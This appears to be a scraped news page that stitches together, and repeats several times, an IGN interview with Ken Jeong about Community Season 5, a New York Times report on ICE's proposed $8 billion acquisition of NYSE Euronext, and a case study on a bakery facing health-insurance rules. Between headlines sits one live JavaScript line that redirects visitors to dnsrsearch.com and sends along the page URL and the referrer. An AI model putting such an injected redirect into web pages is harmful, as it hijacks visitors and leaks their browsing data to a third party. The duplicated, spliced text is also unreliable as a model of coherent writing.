N.Y.S.E. Is in Talks for Merger

Ken Jeong Talks Community: Season 5

Third in our interviews from the set of Community is Ken Jeong. With Season 5’s debut coming January 2nd, the busy comedic-actor spoke about Community not following the path of other shows, John Oliver coming back as Professor Duncan this year and Ben Chang’s evolving role in the series.

IGN TV: I’ve been asking everyone the obvious question to start with, which is what is it like having Dan back this season?

Ken Jeong: It's amazing. I'm sure everyone's telling you right now, it's such a great reset of the show. I think that's kind of been the operative word for the season premiere, just kind of resetting the Community/Dan Harmon universe. My favorite part is just reading the scripts. Everyone will tell you, he's genius and a visionary, and I'm saying exactly the same thing. In fact, he's one of the smartest people I've ever met just in life -- and I was a doctor. [Laughs] He really is, he really is. Needless to say, everyone's just so happy he's back.

IGN: I was saying to Gillian and Yvette, it's Season 5, so some shows might feel complacent at that point, though Community's always changed anyway. But does having Dan back feel like an extra boost?

Jeong: That's a great point. We're definitely anything but complacent. I think it's the complete opposite. For Season 5, where typically a show would be complacent, we couldn't be more motivated. I never thought about it that way, but yeah. Because usually, you're right, this is the time when people just kind of, typically on other shows, they could understandably get complacent and get used to their rhythms. But that is a wonderful thing about our show; I don't think our show has ever followed any tradition or trajectory of other typical show lives, especially a show life in its fifth year.

Gillian Jacobs Talks Community: Season 5

IGN: Chang, poor Ben Chang, has tried so hard to be a member of the Greendale Seven, and it never worked out for him. With some of those members of the Greendale Seven having moved on, does he at least hope this might open new doors?

Jeong: I can't reveal much, but the way Dan has handled certain elements of the show has been just so perfect. When it comes to Chang, again, I personally don't want to reveal much, even to my friends, I don't want to say too much, but there's been some moments for Chang that have been possibly my favorite of the entire series and, personally, for me as an actor. In terms of the whole show, everyone's happy. Actually, in terms of Chang, I'm more than happy. I'm just so grateful. Words can't express how absolutely thrilled I am this season. It's been amazing.

Ken Jeong as Ben Chang in Community: Season 5.

IGN: He was the most close to redemption we've ever seen him at the end of last year. Have they figured out a way to maybe balance the somewhat kinder Chang with the Chang that can really go off the wall?

Jeong: In a word, yes. And they did it in such a way that I never could have thought of or anybody else in the world could have thought of. But Dan, as always, just finds a way.

IGN: You also have John Oliver back this season, for the first time in a couple years. What's that been like?

Jeong: It's just like a family reunion, man. Fits like a glove. Having John back, on and off camera, he's such a wonderful presence, as is everybody else in the cast. It is great. Some of my favorite moments have been from the first season where me, John Oliver and Jim Rash were at the pool with Britta, and the introduction of Leonard. The three of us just reminisced about that. It was really cool, just me, John and Jim one day hanging out, talking together. I dunno, having John back just reminds me of the old days. He fits in perfectly on and off camera. Also, I'm so happy for him and his trajectory on The Daily Show, among other things that he's producing and doing. It's just great to reconnect with an old friend. It's been that kind of vibe. He's just a wonderful human being, just another brilliant, funny man that I've been so fortunate enough to have met through this show. I feel like I've just met the funniest of funny on this show. I've been able to rub elbows with the best.

Community: Yvette Nicole Brown Season 5 Interview

IGN: What can you say about Jonathan Banks and the energy he brings to the show?

Jeong: He brings a gravitas that's just so... I was watching a scene that he and Joel were doing yesterday, and just the nuances and the tiny moments of pure acting chops synthesized with the comedy of Community... He's been able to synthesize the two elements and make it his own and fuse it into something that no one else could do. Dan's absolutely right, I mean, Jonathan is owning so much scenery right now. It's been great. I share a trailer with him, and just to share a trailer and hang out with him has been, again man, it's been among the coolest things ever. It's been a wonderful, wonderful season, dude. Every day, reading the scripts, coming into work, we are all just going in with smiles on our faces.

Eric Goldman is Executive Editor of IGN TV. You can follow him on Twitter at @EricIGN, IGN at ericgoldman-ign and Facebook at Facebook.com/TheEricGoldman.

N.Y.S.E. Is in Talks for Merger

Ken Jeong Talks Community: Season 5

Third in our interviews from the set of Community is Ken Jeong. With Season 5’s debut coming January 2nd, the busy comedic-actor spoke about Community not following the path of other shows, John Oliver coming back as Professor Duncan this year and Ben Chang’s evolving role in the series.

IGN TV: I’ve been asking everyone the obvious question to start with, which is what is it like having Dan back this season?

Ken Jeong: It's amazing. I'm sure everyone's telling you right now, it's such a great reset of the show. I think that's kind of been the operative word for the season premiere, just kind of resetting the Community/Dan Harmon universe. My favorite part is just reading the scripts. Everyone will tell you, he's genius and a visionary, and I'm saying exactly the same thing. In fact, he's one of the smartest people I've ever met just in life -- and I was a doctor. [Laughs] He really is, he really is. Needless to say, everyone's just so happy he's back.

IGN: I was saying to Gillian and Yvette, it's Season 5, so some shows might feel complacent at that point, though Community's always changed anyway. But does having Dan back feel like an extra boost?

Jeong: That's a great point. We're definitely anything but complacent. I think it's the complete opposite. For Season 5, where typically a show would be complacent, we couldn't be more motivated. I never thought about it that way, but yeah. Because usually, you're right, this is the time when people just kind of, typically on other shows, they could understandably get complacent and get used to their rhythms. But that is a wonderful thing about our show; I don't think our show has ever followed any tradition or trajectory of other typical show lives, especially a show life in its fifth year.

Gillian Jacobs Talks Community: Season 5

IGN: Chang, poor Ben Chang, has tried so hard to be a member of the Greendale Seven, and it never worked out for him. With some of those members of the Greendale Seven having moved on, does he at least hope this might open new doors?

Jeong: I can't reveal much, but the way Dan has handled certain elements of the show has been just so perfect. When it comes to Chang, again, I personally don't want to reveal much, even to my friends, I don't want to say too much, but there's been some moments for Chang that have been possibly my favorite of the entire series and, personally, for me as an actor. In terms of the whole show, everyone's happy. Actually, in terms of Chang, I'm more than happy. I'm just so grateful. Words can't express how absolutely thrilled I am this season. It's been amazing.

Ken Jeong as Ben Chang in Community: Season 5.

IGN: He was the most close to redemption we've ever seen him at the end of last year. Have they figured out a way to maybe balance the somewhat kinder Chang with the Chang that can really go off the wall?

Jeong: In a word, yes. And they did it in such a way that I never could have thought of or anybody else in the world could have thought of. But Dan, as always, just finds a way.

IGN: You also have John Oliver back this season, for the first time in a couple years. What's that been like?

Jeong: It's just like a family reunion, man. Fits like a glove. Having John back, on and off camera, he's such a wonderful presence, as is everybody else in the cast. It is great. Some of my favorite moments have been from the first season where me, John Oliver and Jim Rash were at the pool with Britta, and the introduction of Leonard. The three of us just reminisced about that. It was really cool, just me, John and Jim one day hanging out, talking together. I dunno, having John back just reminds me of the old days. He fits in perfectly on and off camera. Also, I'm so happy for him and his trajectory on The Daily Show, among other things that he's producing and doing. It's just great to reconnect with an old friend. It's been that kind of vibe. He's just a wonderful human being, just another brilliant, funny man that I've been so fortunate enough to have met through this show. I feel like I've just met the funniest of funny on this show. I've been able to rub elbows with the best.

Community: Yvette Nicole Brown Season 5 Interview

IGN: What can you say about Jonathan Banks and the energy he brings to the show?

Jeong: He brings a gravitas that's just so... I was watching a scene that he and Joel were doing yesterday, and just the nuances and the tiny moments of pure acting chops synthesized with the comedy of Community... He's been able to synthesize the two elements and make it his own and fuse it into something that no one else could do. Dan's absolutely right, I mean, Jonathan is owning so much scenery right now. It's been great. I share a trailer with him, and just to share a trailer and hang out with him has been, again man, it's been among the coolest things ever. It's been a wonderful, wonderful season, dude. Every day, reading the scripts, coming into work, we are all just going in with smiles on our faces.

Eric Goldman is Executive Editor of IGN TV. You can follow him on Twitter at @EricIGN, IGN at ericgoldman-ign and Facebook at Facebook.com/TheEricGoldman.

N.Y.S.E. Is in Talks for Merger

N.Y.S.E. Is in Talks for Merger

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

N.Y.S.E. Is in Talks for Merger

Brendan McDermid/ReutersA proposed merger of the New York Stock Exchange and the Intercontinental Exchange was valued at about $8 billion.

An $8 billion exchange merger is in the works that underscores how the global market for derivatives has eclipsed that for stocks.

The owner of the venerable New York Stock Exchange is in talks to be acquired by an upstart commodities and derivatives trading platform, according to people briefed on the matter. The IntercontinentalExchange is expected to offer about $33 a share, with two-thirds of that in stock, one of these people said. That represents a premium of 37 percent to NYSE Euronext’s closing stock price on Wednesday.

A deal could be announced as soon as Thursday morning, though these people cautioned that talks may still break down.

While the New York Stock Exchange, with its opening bell and floor traders, has been the public image of a stock market for two centuries, it is NYSE Euronext’s businesses in the over-the-counter trading of derivatives — including the Liffe market in London — that appear to be the main attraction in the merger talks.

IntercontinentalExchange, or ICE, was founded in 2000 and is based in Atlanta. It competes fiercely with the CME Group, a derivatives trading powerhouse that owns the Chicago Mercantile Exchange and the Chicago Board of Trade.

More than a year ago, ICE teamed up with the New York exchange’s chief rival, the Nasdaq OMX Group, to make a hostile bid for NYSE Euronext. The two had sought to break up their older competitor’s plan to merge with Deutsche Börse of Europe, which would have created a powerful trans-Atlantic company with a big market share in the trading of stocks and derivatives.

Under the terms of that deal, valued at about $11 billion, Nasdaq would have taken NYSE Euronext’s equities business, while ICE would have assumed the derivatives operations.

But the Justice Department threatened to block that joint offer, on the ground that combining NYSE Euronext and Nasdaq would create an overwhelming monopoly in the world of stock trading.

The planned merger of NYSE Euronext and Deutsche Börse itself fell apart early this year after European antitrust regulators opposed the combination, on the ground that it would corner too much of the market in exchange-traded derivatives.

But the newest merger might pose fewer problems because ICE focuses on commodities like oil, natural gas and cotton, while NYSE Euronext plies mainly in stock and stock options and derivatives.

And unlike several proposed mergers, like that of the Singaporean and Australian stock exchanges, which fell apart last year on nationalist concerns, this potential deal would take place between two companies from the same country.

After its deal with Deutsche Börse collapsed, NYSE Euronext was left to conduct some soul-searching. At the time, the company said that it would most likely look to smaller acquisitions and cost-cutting.

The trading of stocks has become a less attractive business. The New York Stock Exchange is now responsible for only about 11 percent of all stock trading, while NYSE Euronext’s electronic Arca platform accounts for another 12 percent, according to industry data.

The average number of American stocks traded each day has fallen every year since 2009, and has continued to decline over the course of 2012, according to statistics from Credit Suisse. The volume of trading in futures and options, where ICE is focused, has also fallen since last year, but less than in stocks.

A tie-up with ICE, however, would link NYSE Euronext to one of the industry’s fastest-growing exchanges. ICE has some of the highest profit margins in the business.

It might also reap some of the benefits that have driven a decade-long spree of consolidation among exchanges. Such companies have long sought to gain the greater scale and cost savings that come from combining back-end operations and staff cuts.

Still, the potential merger would sharply expand ICE, which despite its bigger market value is a smaller company. It has a little more than 1,000 employees, while NYSE Euronext has 3,077.

It isn’t clear whether other exchanges would seek to break up the proposed transaction. The CME Group is a candidate to express opposition. But the firm appeared to have little appetite in bidding for NYSE Euronext last year, and it may run into antitrust concerns.

Other potential spoilers, including the Hong Kong and Singaporean exchanges, could run into nationalist concerns.

Shares of NYSE Euronext rose more than 21 percent in after-hours trading, to $29.20, after The Wall Street Journal reported news of the talks.

Nathaniel Popper contributed reporting.

N.Y.S.E. Is in Talks for Merger

Brendan McDermid/ReutersA proposed merger of the New York Stock Exchange and the Intercontinental Exchange was valued at about $8 billion.

An $8 billion exchange merger is in the works that underscores how the global market for derivatives has eclipsed that for stocks.

The owner of the venerable New York Stock Exchange is in talks to be acquired by an upstart commodities and derivatives trading platform, according to people briefed on the matter. The IntercontinentalExchange is expected to offer about $33 a share, with two-thirds of that in stock, one of these people said. That represents a premium of 37 percent to NYSE Euronext’s closing stock price on Wednesday.

A deal could be announced as soon as Thursday morning, though these people cautioned that talks may still break down.

While the New York Stock Exchange, with its opening bell and floor traders, has been the public image of a stock market for two centuries, it is NYSE Euronext’s businesses in the over-the-counter trading of derivatives — including the Liffe market in London — that appear to be the main attraction in the merger talks.

IntercontinentalExchange, or ICE, was founded in 2000 and is based in Atlanta. It competes fiercely with the CME Group, a derivatives trading powerhouse that owns the Chicago Mercantile Exchange and the Chicago Board of Trade.

More than a year ago, ICE teamed up with the New York exchange’s chief rival, the Nasdaq OMX Group, to make a hostile bid for NYSE Euronext. The two had sought to break up their older competitor’s plan to merge with Deutsche Börse of Europe, which would have created a powerful trans-Atlantic company with a big market share in the trading of stocks and derivatives.

Under the terms of that deal, valued at about $11 billion, Nasdaq would have taken NYSE Euronext’s equities business, while ICE would have assumed the derivatives operations.

But the Justice Department threatened to block that joint offer, on the ground that combining NYSE Euronext and Nasdaq would create an overwhelming monopoly in the world of stock trading.

The planned merger of NYSE Euronext and Deutsche Börse itself fell apart early this year after European antitrust regulators opposed the combination, on the ground that it would corner too much of the market in exchange-traded derivatives.

But the newest merger might pose fewer problems because ICE focuses on commodities like oil, natural gas and cotton, while NYSE Euronext plies mainly in stock and stock options and derivatives.

And unlike several proposed mergers, like that of the Singaporean and Australian stock exchanges, which fell apart last year on nationalist concerns, this potential deal would take place between two companies from the same country.

After its deal with Deutsche Börse collapsed, NYSE Euronext was left to conduct some soul-searching. At the time, the company said that it would most likely look to smaller acquisitions and cost-cutting.

The trading of stocks has become a less attractive business. The New York Stock Exchange is now responsible for only about 11 percent of all stock trading, while NYSE Euronext’s electronic Arca platform accounts for another 12 percent, according to industry data.

The average number of American stocks traded each day has fallen every year since 2009, and has continued to decline over the course of 2012, according to statistics from Credit Suisse. The volume of trading in futures and options, where ICE is focused, has also fallen since last year, but less than in stocks.

A tie-up with ICE, however, would link NYSE Euronext to one of the industry’s fastest-growing exchanges. ICE has some of the highest profit margins in the business.

It might also reap some of the benefits that have driven a decade-long spree of consolidation among exchanges. Such companies have long sought to gain the greater scale and cost savings that come from combining back-end operations and staff cuts.

Still, the potential merger would sharply expand ICE, which despite its bigger market value is a smaller company. It has a little more than 1,000 employees, while NYSE Euronext has 3,077.

It isn’t clear whether other exchanges would seek to break up the proposed transaction. The CME Group is a candidate to express opposition. But the firm appeared to have little appetite in bidding for NYSE Euronext last year, and it may run into antitrust concerns.

Other potential spoilers, including the Hong Kong and Singaporean exchanges, could run into nationalist concerns.

Shares of NYSE Euronext rose more than 21 percent in after-hours trading, to $29.20, after The Wall Street Journal reported news of the talks.

Nathaniel Popper contributed reporting.

Case Study: Bakery Owner Talks About Coping With Health Insurance Changes

Sandy Huffaker for The New York Times Rachel Shein, center, is trying to figure out how to comply with the new health insurance law.What would you do with this business?

Last week, we published a case study about Baked in the Sun, a wholesale bakery and distributor that is trying to decide how best to comply with the Affordable Care Act. Starting in January, the new law requires businesses with 50 or more full-time employees to offer health insurance or pay a penalty. Owned by Rachel Shein and Steve Pilarski, husband and wife, the company employs nearly 100 workers to bake and deliver freshly made pastries to coffee shops, hospitals and hotels in Southern California.

Baked in the Sun has offered health insurance to its employees in the past but many are young and healthy and have preferred to keep more money in their paycheck, rather than contribute to a health plan. Soon, though, almost all workers will have to carry health insurance — through their employer, a government exchange or other source — or pay a penalty. And, as the case study discussed, Ms. Shein and Mr. Pilaski are trying to decide whether they will offer health insurance, pay a penalty or outsource enough work that they can reduce their head count below 50 and be exempt from the law.

The article elicited lots of comments and strong opinions, as well as reports in other media outlets, including CNBC, which included Ms. Shein in a panel discussion about her company’s situation. Some readers argued that Baked in the Sun has a moral obligation to offer coverage. Others argued for a single-payer system that would allow owners to stop worrying about health insurance and focus on running their businesses.

Andrew Greenblatt, a senior vice president at Benestream, which helps low wage employees apply for government benefits, pointed out that under the Affordable Care Act, Medicaid has been expanded to cover families earning up to 138 percent of the poverty level, which means that workers who make minimum wage, especially single parents, may qualify.

And Alan Cohen, chief strategy officer for Liazon, a private insurance exchange for companies, suggested in a comment that many employees will be better off if the bakery chooses not to offer insurance and instead pays the government penalty. That’s because the employees would be likely to qualify for a subsidy at a government exchange that would allow them to insure their whole family — but only if their employer does not offer health insurance.

Of course, because neither the minimum level of coverage, nor the costs to all the insurance options have been finalized, lots of uncertainty remains. We contacted Ms. Shein for a follow-up conversation that has been condensed and edited.

A number of readers suspect that you are underestimating how much it would actually cost to insure your employees. Have you taken another look?

The insurance plans are still under development. My broker recently found one that was less than what I had found, but I’m not sure anyone knows what the final rules and prices will be.

Have you thought any further about how many of your employees will actually sign up for insurance if you offer it?

In the short run, when the individual penalty is low, there might not be much participation. We plan to have a meeting with our employees to see what kind of insurance they might want and which of them might be covered elsewhere.

Did this discussion have any impact on your thinking about whether you will pay the penalty or offer insurance?

The employees will all have access to health insurance whether we provide it, or we pay the penalty and they purchase it using a subsidy on the government exchange. We need to look at all the costs and tax implications and do whichever is least expensive for the business.

Are there any reader questions you want to answer?

Some readers claimed it was a moral imperative to provide insurance — but all employees will have insurance under the law.

Some readers thought your profit margin was too low and questioned how well your business was doing. What was your reaction?

Like many entrepreneurs we have great years where we can take vacations and put money into our kids’ college funds. Some years are leaner.

Do you think your customers would pay a few more cents for your baked goods — especially if it allows you to offer your employees health insurance?

Our products are unbranded and sold in hundreds of outlets so it would be hard to educate consumers about our employment practices. And the popularity of Wal-Mart shows that most consumers just want the best price.

You suggested in the article that you might have to raise your prices 4 percent to cover the cost of providing health insurance. But 4 percent of $8 million — your annual revenue — is $320,000. That’s a lot more than you estimated the cost of insurance. Couldn’t you just raise your prices 2 percent?

Yes, a 2- to 3-percent increase could cover the costs, but it’s a low margin business and pennies matter so we like to build in some buffer.

Would you favor a single-payer system?

I am in favor of a system that doesn’t penalize a business for being successful and able to hire more than 50 people and doesn’t deter us from wanting to grow. I am in favor of a system where everyone pays in, and everyone is covered. If that is a single-payer system, I’m for that.

N.Y.S.E. Is in Talks for Merger

Brendan McDermid/ReutersA proposed merger of the New York Stock Exchange and the Intercontinental Exchange was valued at about $8 billion.

An $8 billion exchange merger is in the works that underscores how the global market for derivatives has eclipsed that for stocks.

The owner of the venerable New York Stock Exchange is in talks to be acquired by an upstart commodities and derivatives trading platform, according to people briefed on the matter. The IntercontinentalExchange is expected to offer about $33 a share, with two-thirds of that in stock, one of these people said. That represents a premium of 37 percent to NYSE Euronext’s closing stock price on Wednesday.

A deal could be announced as soon as Thursday morning, though these people cautioned that talks may still break down.

While the New York Stock Exchange, with its opening bell and floor traders, has been the public image of a stock market for two centuries, it is NYSE Euronext’s businesses in the over-the-counter trading of derivatives — including the Liffe market in London — that appear to be the main attraction in the merger talks.

IntercontinentalExchange, or ICE, was founded in 2000 and is based in Atlanta. It competes fiercely with the CME Group, a derivatives trading powerhouse that owns the Chicago Mercantile Exchange and the Chicago Board of Trade.

More than a year ago, ICE teamed up with the New York exchange’s chief rival, the Nasdaq OMX Group, to make a hostile bid for NYSE Euronext. The two had sought to break up their older competitor’s plan to merge with Deutsche Börse of Europe, which would have created a powerful trans-Atlantic company with a big market share in the trading of stocks and derivatives.

Under the terms of that deal, valued at about $11 billion, Nasdaq would have taken NYSE Euronext’s equities business, while ICE would have assumed the derivatives operations.

But the Justice Department threatened to block that joint offer, on the ground that combining NYSE Euronext and Nasdaq would create an overwhelming monopoly in the world of stock trading.

The planned merger of NYSE Euronext and Deutsche Börse itself fell apart early this year after European antitrust regulators opposed the combination, on the ground that it would corner too much of the market in exchange-traded derivatives.

But the newest merger might pose fewer problems because ICE focuses on commodities like oil, natural gas and cotton, while NYSE Euronext plies mainly in stock and stock options and derivatives.

And unlike several proposed mergers, like that of the Singaporean and Australian stock exchanges, which fell apart last year on nationalist concerns, this potential deal would take place between two companies from the same country.

After its deal with Deutsche Börse collapsed, NYSE Euronext was left to conduct some soul-searching. At the time, the company said that it would most likely look to smaller acquisitions and cost-cutting.

The trading of stocks has become a less attractive business. The New York Stock Exchange is now responsible for only about 11 percent of all stock trading, while NYSE Euronext’s electronic Arca platform accounts for another 12 percent, according to industry data.

The average number of American stocks traded each day has fallen every year since 2009, and has continued to decline over the course of 2012, according to statistics from Credit Suisse. The volume of trading in futures and options, where ICE is focused, has also fallen since last year, but less than in stocks.

A tie-up with ICE, however, would link NYSE Euronext to one of the industry’s fastest-growing exchanges. ICE has some of the highest profit margins in the business.

It might also reap some of the benefits that have driven a decade-long spree of consolidation among exchanges. Such companies have long sought to gain the greater scale and cost savings that come from combining back-end operations and staff cuts.

Still, the potential merger would sharply expand ICE, which despite its bigger market value is a smaller company. It has a little more than 1,000 employees, while NYSE Euronext has 3,077.

It isn’t clear whether other exchanges would seek to break up the proposed transaction. The CME Group is a candidate to express opposition. But the firm appeared to have little appetite in bidding for NYSE Euronext last year, and it may run into antitrust concerns.

Other potential spoilers, including the Hong Kong and Singaporean exchanges, could run into nationalist concerns.

Shares of NYSE Euronext rose more than 21 percent in after-hours trading, to $29.20, after The Wall Street Journal reported news of the talks.

Nathaniel Popper contributed reporting.

N.Y.S.E. Is in Talks for Merger

Brendan McDermid/ReutersA proposed merger of the New York Stock Exchange and the Intercontinental Exchange was valued at about $8 billion.

An $8 billion exchange merger is in the works that underscores how the global market for derivatives has eclipsed that for stocks.

The owner of the venerable New York Stock Exchange is in talks to be acquired by an upstart commodities and derivatives trading platform, according to people briefed on the matter. The IntercontinentalExchange is expected to offer about $33 a share, with two-thirds of that in stock, one of these people said. That represents a premium of 37 percent to NYSE Euronext’s closing stock price on Wednesday.

A deal could be announced as soon as Thursday morning, though these people cautioned that talks may still break down.

While the New York Stock Exchange, with its opening bell and floor traders, has been the public image of a stock market for two centuries, it is NYSE Euronext’s businesses in the over-the-counter trading of derivatives — including the Liffe market in London — that appear to be the main attraction in the merger talks.

IntercontinentalExchange, or ICE, was founded in 2000 and is based in Atlanta. It competes fiercely with the CME Group, a derivatives trading powerhouse that owns the Chicago Mercantile Exchange and the Chicago Board of Trade.

More than a year ago, ICE teamed up with the New York exchange’s chief rival, the Nasdaq OMX Group, to make a hostile bid for NYSE Euronext. The two had sought to break up their older competitor’s plan to merge with Deutsche Börse of Europe, which would have created a powerful trans-Atlantic company with a big market share in the trading of stocks and derivatives.

Under the terms of that deal, valued at about $11 billion, Nasdaq would have taken NYSE Euronext’s equities business, while ICE would have assumed the derivatives operations.

But the Justice Department threatened to block that joint offer, on the ground that combining NYSE Euronext and Nasdaq would create an overwhelming monopoly in the world of stock trading.

The planned merger of NYSE Euronext and Deutsche Börse itself fell apart early this year after European antitrust regulators opposed the combination, on the ground that it would corner too much of the market in exchange-traded derivatives.

But the newest merger might pose fewer problems because ICE focuses on commodities like oil, natural gas and cotton, while NYSE Euronext plies mainly in stock and stock options and derivatives.

And unlike several proposed mergers, like that of the Singaporean and Australian stock exchanges, which fell apart last year on nationalist concerns, this potential deal would take place between two companies from the same country.

After its deal with Deutsche Börse collapsed, NYSE Euronext was left to conduct some soul-searching. At the time, the company said that it would most likely look to smaller acquisitions and cost-cutting.

The trading of stocks has become a less attractive business. The New York Stock Exchange is now responsible for only about 11 percent of all stock trading, while NYSE Euronext’s electronic Arca platform accounts for another 12 percent, according to industry data.

The average number of American stocks traded each day has fallen every year since 2009, and has continued to decline over the course of 2012, according to statistics from Credit Suisse. The volume of trading in futures and options, where ICE is focused, has also fallen since last year, but less than in stocks.

A tie-up with ICE, however, would link NYSE Euronext to one of the industry’s fastest-growing exchanges. ICE has some of the highest profit margins in the business.

It might also reap some of the benefits that have driven a decade-long spree of consolidation among exchanges. Such companies have long sought to gain the greater scale and cost savings that come from combining back-end operations and staff cuts.

Still, the potential merger would sharply expand ICE, which despite its bigger market value is a smaller company. It has a little more than 1,000 employees, while NYSE Euronext has 3,077.

It isn’t clear whether other exchanges would seek to break up the proposed transaction. The CME Group is a candidate to express opposition. But the firm appeared to have little appetite in bidding for NYSE Euronext last year, and it may run into antitrust concerns.

Other potential spoilers, including the Hong Kong and Singaporean exchanges, could run into nationalist concerns.

Shares of NYSE Euronext rose more than 21 percent in after-hours trading, to $29.20, after The Wall Street Journal reported news of the talks.

Nathaniel Popper contributed reporting.